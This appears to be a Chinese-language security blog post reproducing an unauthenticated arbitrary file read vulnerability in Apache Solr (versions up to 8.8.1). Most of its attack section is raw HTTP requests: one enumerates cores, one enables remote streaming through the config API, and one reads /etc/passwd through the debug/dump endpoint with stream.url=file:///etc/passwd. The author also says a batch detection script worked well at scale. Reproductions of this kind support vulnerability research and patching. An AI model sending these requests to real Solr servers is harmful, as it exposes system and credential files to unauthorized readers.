Apache Solr任意檔案讀取漏洞復現
Apache Solr任意檔案讀取漏洞復現
一、簡介
Solr是一個獨立的企業級搜尋應用伺服器,它對外提供類似於Web-service的API介面。使用者可以通過http請求,向搜尋引擎伺服器提交一定格式的XML檔案,生成索引;也可以通過Http Get操作提出查詢請求,並得到XML格式的返回結果。
Apache-Solr任意檔案讀取漏洞漏洞,攻擊者可以在未授權的情況下讀取目標伺服器敏感檔案和相關內容。
二、影響版本
Apache Solr <= 8.8.1
三、漏洞復現
安裝:
Solr下載地址:自行下載對應滿足版本http://archive.apache.org/dist/lucene/solr/
訪問頁面
第一步:獲取core的資訊:主要是name
http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json
詳細資料包
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1 Host: 127.0.0.1:8983 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close
第二步:判斷是否存在漏洞:返回200並且包含This response format is experimental. It is likely to change in the future 可能存在,需要進一步的去讀取/etc/passwd或者其他進行確認最終是否存在讀取漏洞
詳細資料包:
POST /solr/tesla/config HTTP/1.1 Host: 127.0.0.1:8983 Content-Length: 80 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1:8983 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://127.0.0.1:8983/solr/tesla/config Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Connection: close {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
第三步:讀取檔案/etc/passwd:
詳細資料包:
POST /solr/tesla/debug/dump?param=ContentStreams HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8983
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:8983/solr/tesla/config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close
stream.url=file:///etc/passwd
編寫檢測指令碼:
顯示讀取內容:
直接跑存在不現實讀取內容:
批量出來效果還是不錯的
參考:
https://mp.weixin.qq.com/s/5U04Qhr_KBCznAbXe9jEeg
免責宣告:本站提供安全工具、程式(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!
轉載宣告:著作權歸作者所有。商業轉載請聯絡作者獲得授權,非商業轉載請註明出處。
訂閱檢視更多復現文章、學習筆記
thelostworld
安全路上,與你並肩前行!!!!
個人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
個人簡書:https://www.jianshu.com/u/bf0e38a8d400
個人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html
個人部落格園:https://www.cnblogs.com/thelostworld/
FREEBUF主頁:https://www.freebuf.com/author/thelostworld?type=article
語雀部落格主頁:https://www.yuque.com/thelostworld
歡迎新增本公眾號作者微信交流,新增時備註一下“公眾號”